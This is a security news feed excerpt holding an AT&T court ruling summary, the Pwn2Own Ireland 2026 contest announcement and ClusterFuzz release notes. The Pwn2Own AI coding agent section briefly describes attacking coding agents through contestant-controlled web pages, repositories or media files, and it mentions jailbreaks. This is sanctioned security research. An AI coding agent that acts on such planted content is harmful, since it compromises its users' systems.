<content:encoded><![CDATA[A federal judge rejected AT&amp;T's request to temporarily block California rules requiring it to offer basic phone service to new customers in its wireline territory. AT&amp;T wants to retire its copper-based phone network and stop service for nearly 200,000 California customers in 2027, but the state argues the company can meet its obligations with modern alternatives like fiber rather than abandoning Carrier of Last Resort requirements altogether. Ars Technica reports: To win a preliminary injunction, AT&amp;T had to show it is likely to succeed on the merits of its claim that California rules are preempted by a Federal Communications Commission order. US District Judge Linda Lopez denied AT&amp;T's request for a preliminary injunction during a motion hearing on Thursday, according to a docket entry. The case is in US District Court for the Southern District of California. [...] AT&amp;T could appeal Lopez's ruling to the 9th Circuit Court of Appeals and could appeal later if it loses the underlying case. But since it has not obtained the injunction it asked for, AT&amp;T for now remains under California's orders to keep offering phone service to potential customers while the case continues.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AT%26amp%3BT+Loses+Key+Ruling+In+Bid+To+Stop+Offering+Basic+Phone+Service+In+California%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F21%2F0617230%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F21%2F0617230%2Fatt-loses-key-ruling-in-bid-to-stop-offering-basic-phone-service-in-california%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/21/0617230/att-loses-key-ruling-in-bid-to-stop-offering-basic-phone-service-in-california?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.1]]></title>
<description><![CDATA[What's Changed

Upload Fuzzer Logs to GCS only if not in a uworker by @IvanBM18 in #5363
process: Adds logs to the timeout timers that terminate processes by @g-ortuno in #5367
Gracefully handle metadata look up for update_task check for bots off GCE by @dylanjew in #5362

Full Changelog: v2.35.0...]]></description>
<link>https://tsecurity.de/de/3684454/it-security-tools/v2351/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684454/it-security-tools/v2351/</guid>
<pubDate>Tue, 21 Jul 2026 19:09:26 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Upload Fuzzer Logs to GCS only if not in a uworker by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888259039" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5363" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5363/hovercard" href="https://github.com/google/clusterfuzz/pull/5363">#5363</a></li>
<li>process: Adds logs to the timeout timers that terminate processes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895795313" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5367" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5367/hovercard" href="https://github.com/google/clusterfuzz/pull/5367">#5367</a></li>
<li>Gracefully handle metadata look up for update_task check for bots off GCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886899116" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5362" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5362/hovercard" href="https://github.com/google/clusterfuzz/pull/5362">#5362</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.0...v2.35.1"><tt>v2.35.0...v2.35.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Git Pull Kept Failing on My Ghost Server. Docker Compose Override Fixed It]]></title>
